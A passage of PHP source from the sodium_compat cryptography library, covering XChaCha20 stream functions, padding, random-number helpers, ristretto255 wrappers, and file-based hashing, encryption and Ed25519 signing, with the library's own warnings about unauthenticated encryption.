SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param int $counter * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20_xor_ic( #[\SensitiveParameter] $message, $nonce, $counter, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key); } $ic = ParagonIE_Sodium_Core_Util::store64_le($counter); if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } /** * Return a secure random key for use with crypto_stream_xchacha20 * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_xchacha20_keygen() { return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES); } /** * Cache-timing-safe implementation of hex2bin(). * * @param string $string Hexadecimal string * @param string $ignore List of characters to ignore; useful for whitespace * @return string Raw binary string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2); if (self::useNewSodiumAPI()) { if (is_callable('sodium_hex2bin')) { return (string) sodium_hex2bin($string, $ignore); } } if (self::use_fallback('hex2bin')) { return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore); } return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore); } /** * Increase a string (little endian) * * @param string $var * * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function increment( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { sodium_increment($var); return; } if (self::use_fallback('increment')) { $func = '\\Sodium\\increment'; $func($var); return; } $len = ParagonIE_Sodium_Core_Util::strlen($var); if ($len < 1) { throw new SodiumException('Argument 1 cannot be empty'); } $c = 1; $copy = ''; for ($i = 0; $i < $len; ++$i) { $c += ParagonIE_Sodium_Core_Util::chrToInt( ParagonIE_Sodium_Core_Util::substr($var, $i, 1) ); $copy .= ParagonIE_Sodium_Core_Util::intToChr($c); $c >>= 8; } $var = $copy; } /** * @param string $str * @return bool * * @throws SodiumException */ public static function is_zero( #[\SensitiveParameter] $str ) { $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]); } return ((($d - 1) >> 31) & 1) === 1; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_major() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) { return SODIUM_LIBRARY_MAJOR_VERSION; } if (self::use_fallback('library_version_major')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_major'); } return self::LIBRARY_VERSION_MAJOR; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_minor() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) { return SODIUM_LIBRARY_MINOR_VERSION; } if (self::use_fallback('library_version_minor')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_minor'); } return self::LIBRARY_VERSION_MINOR; } /** * Compare two strings. * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function memcmp( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return sodium_memcmp($left, $right); } if (self::use_fallback('memcmp')) { return (int) call_user_func('\\Sodium\\memcmp', $left, $right); } /** @var string $left */ /** @var string $right */ return ParagonIE_Sodium_Core_Util::memcmp($left, $right); } /** * It's actually not possible to zero memory buffers in PHP. You need the * native library for that. * * @param string|null $var * @param-out string|null $var * * @return void * @throws SodiumException (Unless libsodium is installed) * @throws TypeError * @psalm-suppress TooFewArguments */ public static function memzero( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { /** @psalm-suppress MixedArgument */ sodium_memzero($var); return; } if (self::use_fallback('memzero')) { $func = '\\Sodium\\memzero'; $func($var); if ($var === null) { return; } } // This is the best we can do. throw new SodiumException( 'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' . 'To fix this error, make sure libsodium is installed and the PHP extension is enabled.' ); } /** * @param string $unpadded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function pad( #[\SensitiveParameter] $unpadded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $unpadded = (string) $unpadded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_pad($unpadded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException( 'block size cannot be less than 1' ); } $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded); $xpadlen = ($blockSize - 1); if (($blockSize & ($blockSize - 1)) === 0) { $xpadlen -= $unpadded_len & ($blockSize - 1); } else { $xpadlen -= $unpadded_len % $blockSize; } $xpadded_len = $unpadded_len + $xpadlen; $padded = str_repeat("\0", $xpadded_len - 1); if ($unpadded_len > 0) { $st = 1; $i = 0; $k = $unpadded_len; for ($j = 0; $j <= $xpadded_len; ++$j) { $i = (int) $i; $k = (int) $k; $st = (int) $st; if ($j >= $unpadded_len) { $padded[$j] = "\0"; } else { $padded[$j] = $unpadded[$j]; } /** @var int $k */ $k -= $st; $st = (int) (~( ( ( ($k >> 48) | ($k >> 32) | ($k >> 16) | $k ) - 1 ) >> 16 ) ) & 1; $i += $st; } } $mask = 0; $tail = $xpadded_len; for ($i = 0; $i < $blockSize; ++$i) { # barrier_mask = (unsigned char) # (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT)); $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1); # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask); $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask) | (0x80 & $barrier_mask) ); # mask |= barrier_mask; $mask |= $barrier_mask; } return $padded; } /** * @param string $padded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function unpad( #[\SensitiveParameter] $padded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $padded = (string) $padded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_unpad($padded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException('block size cannot be less than 1'); } $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded); if ($padded_len < $blockSize) { throw new SodiumException('invalid padding'); } # tail = &padded[padded_len - 1U]; $tail = $padded_len - 1; $acc = 0; $valid = 0; $pad_len = 0; $found = 0; for ($i = 0; $i < $blockSize; ++$i) { # c = tail[-i]; $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]); # is_barrier = # (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U; $is_barrier = ( ( ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1) ) >> 7 ) & 1; $is_barrier &= ~$found; $found |= $is_barrier; # acc |= c; $acc |= $c; # pad_len |= i & (1U + ~is_barrier); $pad_len |= $i & (1 + ~$is_barrier); # valid |= (unsigned char) is_barrier; $valid |= ($is_barrier & 0xff); } # unpadded_len = padded_len - 1U - pad_len; $unpadded_len = $padded_len - 1 - $pad_len; if ($valid !== 1) { throw new SodiumException('invalid padding'); } return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len); } /** * Will sodium_compat run fast on the current hardware and PHP configuration? * * @return bool */ public static function polyfill_is_fast() { if (extension_loaded('sodium')) { return true; } if (extension_loaded('libsodium')) { return true; } return PHP_INT_SIZE === 8; } /** * Generate a string of bytes from the kernel's CSPRNG. * Proudly uses /dev/urandom (if getrandom(2) is not available). * * @param int $numBytes * @return string * @throws Exception * @throws TypeError */ public static function randombytes_buf($numBytes) { /* Type checks: */ if (!is_int($numBytes)) { if (is_numeric($numBytes)) { $numBytes = (int) $numBytes; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.' ); } } /** @var positive-int $numBytes */ if (self::use_fallback('randombytes_buf')) { return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes); } if ($numBytes < 0) { throw new SodiumException("Number of bytes must be a positive integer"); } return random_bytes($numBytes); } /** * Generate an integer between 0 and $range (non-inclusive). * * @param int $range * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_uniform($range) { /* Type checks: */ if (!is_int($range)) { if (is_numeric($range)) { $range = (int) $range; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($range) . ' given.' ); } } if (self::use_fallback('randombytes_uniform')) { return (int) call_user_func('\\Sodium\\randombytes_uniform', $range); } return random_int(0, $range - 1); } /** * Generate a random 16-bit integer. * * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_random16() { if (self::use_fallback('randombytes_random16')) { return (int) call_user_func('\\Sodium\\randombytes_random16'); } return random_int(0, 65535); } /** * @param string $p * @param bool $dontFallback * @return bool * @throws SodiumException */ public static function ristretto255_is_valid_point( #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_is_valid_point($p); } try { $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p); return $r['res'] === 0 && ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1; } catch (SodiumException $ex) { if ($ex->getMessage() === 'S is not canonical') { return false; } throw $ex; } } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_add( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_add($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q); } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_sub( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_sub($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q); } /** * @param string $r * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_from_hash( #[\SensitiveParameter] $r, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_from_hash($r); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random(); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_scalar_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random(); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_invert( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_invert($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_negate($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_complement($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_add( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_add($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_sub( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_sub($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_mul( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_mul($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255( #[\SensitiveParameter] $n, #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255($n, $p); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base( #[\SensitiveParameter] $n, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255_base($n); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_reduce( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_reduce($s); } return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s); } /** * Runtime testing method for 32-bit platforms. * * Usage: If runtime_speed_test() returns FALSE, then our 32-bit * implementation is to slow to use safely without risking timeouts. * If this happens, install sodium from PECL to get acceptable * performance. * * @param int $iterations Number of multiplications to attempt * @param int $maxTimeout Milliseconds * @return bool TRUE if we're fast enough, FALSE is not * @throws SodiumException */ public static function runtime_speed_test($iterations, $maxTimeout) { if (self::polyfill_is_fast()) { return true; } /** @var float $end */ $end = 0.0; /** @var float $start */ $start = microtime(true); /** @var ParagonIE_Sodium_Core32_Int64 $a */ $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); for ($i = 0; $i < $iterations; ++$i) { /** @var ParagonIE_Sodium_Core32_Int64 $b */ $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); $a->mulInt64($b); } /** @var float $end */ $end = microtime(true); /** @var int $diff */ $diff = (int) ceil(($end - $start) * 1000); return $diff < $maxTimeout; } /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function sub( #[\SensitiveParameter] &$val, #[\SensitiveParameter] $addv ) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c = ($A[$i] - $B[$i] - $c); $A[$i] = ($c & 0xff); $c = ($c >> 8) & 1; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * This emulates libsodium's version_string() function, except ours is * prefixed with 'polyfill-'. * * @return string * @psalm-suppress MixedInferredReturnType * @psalm-suppress UndefinedFunction */ public static function version_string() { if (self::useNewSodiumAPI()) { return (string) sodium_version_string(); } if (self::use_fallback('version_string')) { return (string) call_user_func('\\Sodium\\version_string'); } return (string) self::VERSION_STRING; } /** * Should we use the libsodium core function instead? * This is always a good idea, if it's available. (Unless we're in the * middle of running our unit test suite.) * * If ext/libsodium is available, use it. Return TRUE. * Otherwise, we have to use the code provided herein. Return FALSE. * * @param string $sodium_func_name * * @return bool */ protected static function use_fallback($sodium_func_name = '') { static $res = null; if ($res === null) { $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300; } if ($res === false) { // No libsodium installed return false; } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } if (!empty($sodium_func_name)) { return is_callable('\\Sodium\\' . $sodium_func_name); } return true; } /** * Libsodium as implemented in PHP 7.2 * and/or ext/sodium (via PECL) * * @ref https://wiki.php.net/rfc/libsodium * @return bool */ protected static function useNewSodiumAPI() { static $res = null; if ($res === null) { $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium'); } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } return (bool) $res; } } PK!H src/File.phpnu[ ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes'); } } if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN'); } if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX'); } if (!file_exists($filePath)) { throw new SodiumException('File does not exist'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength); while ($size > 0) { $blockSize = $size > 64 ? 64 : $size; $read = fread($fp, $blockSize); if (!is_string($read)) { throw new SodiumException('Could not read input file'); } ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read); $size -= $blockSize; } fclose($fp); return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } /** * Encrypt a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $key Encryption key * * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } if (!file_exists($inputFile)) { throw new SodiumException('Input file does not exist'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = @fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_secretbox_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox_open( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } if (!file_exists($inputFile)) { throw new SodiumException('Input file does not exist'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = @fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($key); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($key); } return $res; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ public static function sign( $filePath, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($secretKey)) { throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.'); } /* Input validation: */ if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) { throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (PHP_INT_SIZE === 4) { return self::sign_core32($filePath, $secretKey); } if (!file_exists($filePath)) { throw new SodiumException('File does not exist'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $nonceHash */ $nonceHash = hash_final($hs, true); /** @var string $pk */ $pk = self::substr($secretKey, 32, 32); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); /** @var string $sig */ $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hramHash */ $hramHash = hash_final($hs, true); /** @var string $hram */ $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash); /** @var string $sigAfter */ $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws TypeError * @throws Exception */ public static function verify( $sig, $filePath, $publicKey ) { /* Type checks: */ if (!is_string($sig)) { throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.'); } if (!is_string($filePath)) { throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) { throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes'); } if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if (PHP_INT_SIZE === 4) { return self::verify_core32($sig, $filePath, $publicKey); } /* Security checks */ if ( (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240) && ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)) ) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) 